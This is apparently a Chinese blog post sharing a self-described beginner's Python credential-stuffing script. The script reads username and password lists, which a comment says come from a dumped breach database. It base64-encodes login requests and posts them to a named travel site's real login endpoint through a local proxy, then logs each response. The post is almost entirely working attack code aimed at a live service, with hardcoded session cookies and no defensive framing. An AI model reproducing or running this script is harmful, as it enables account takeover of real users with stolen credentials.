A-A+

python 某个撞库脚本(渣渣代码)

2016年09月06日 15:02 学习笔记 暂无评论 阅读 335 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 #coding:utf-8
 
import requests
import os
import base64
 
def getdic(file):
    dic = open(file).read()
    diclist = dic.split("\n")
    return diclist
 
def logined():
    lenmax =0
    #得到脱裤后的用户密码字典
    userlist  = getdic('user.txt')
    passlist  = getdic('pass.txt')
    if len(userlist)>len(passlist):
        lenmax=len(userlist)
    else:
        lenmax=len(passlist)
    while lenmax !=0:
        ctr = 0
        num = lenmax-1
        usr = userlist[num]
        pas = passlist[num]
        data="{\"r\":0.08937096947452083,\"loginName\":\"%s\",\"password\":\"%s\",\"security\":\"cfcq\",\"deviceInfoFlag\":false,\"screenInfo\":\"1440*900\",\"browserInfo\":\"1423*775\"}" % (usr, pas)
        data=base64.b64encode(data.encode(encoding='utf-8'))
        data=data.decode(encoding='utf-8')
        url='http://www.tuniu.cn/restful/login/logon'
        #mmd5=md5.new()
        #mmd5.update(password)
        headers={
        'Host': 'www.tuniu.cn',
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116',
        'Accept': 'text/plain, */*; q=0.01',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Referer': 'http://www.tuniu.cn/nbooking/login.html',
        'Origin': 'http://www.tuniu.cn',
        'Cookie': 'JSESSIONIDNB=A302B4C9E7392035705958320A761F458aa8b2a056fa77b40156fd6c9e6708d9; JSESSIONID=B9222124B7023CFD4BBE6A6F1DA66B1F',
        'X-Requested-With': 'XMLHttpRequest'
        #'Content-Length': int(len(data))
        }
        proxies = {
           "http": "http://127.0.0.1:8080",
           "https": "http://127.0.0.1:8080",
         }
        r=requests.post(url, headers=headers, data=data, proxies=proxies)
        datas=base64.b64decode(r.content)
        datas=datas.decode(encoding='utf-8')
        #print(datas)
        open('jieguo.txt','a').write(str(datas)+"\n")
        #datas=base64.b64decode(r.content)
        #open('jieguo.txt','a').write(type(datas)+"\n")
        lenmax-=1
 
 
if __name__ == '__main__':
    logined()

刚学PYTHON 没多久,代码渣渣,对付看吧。

标签:

给我留言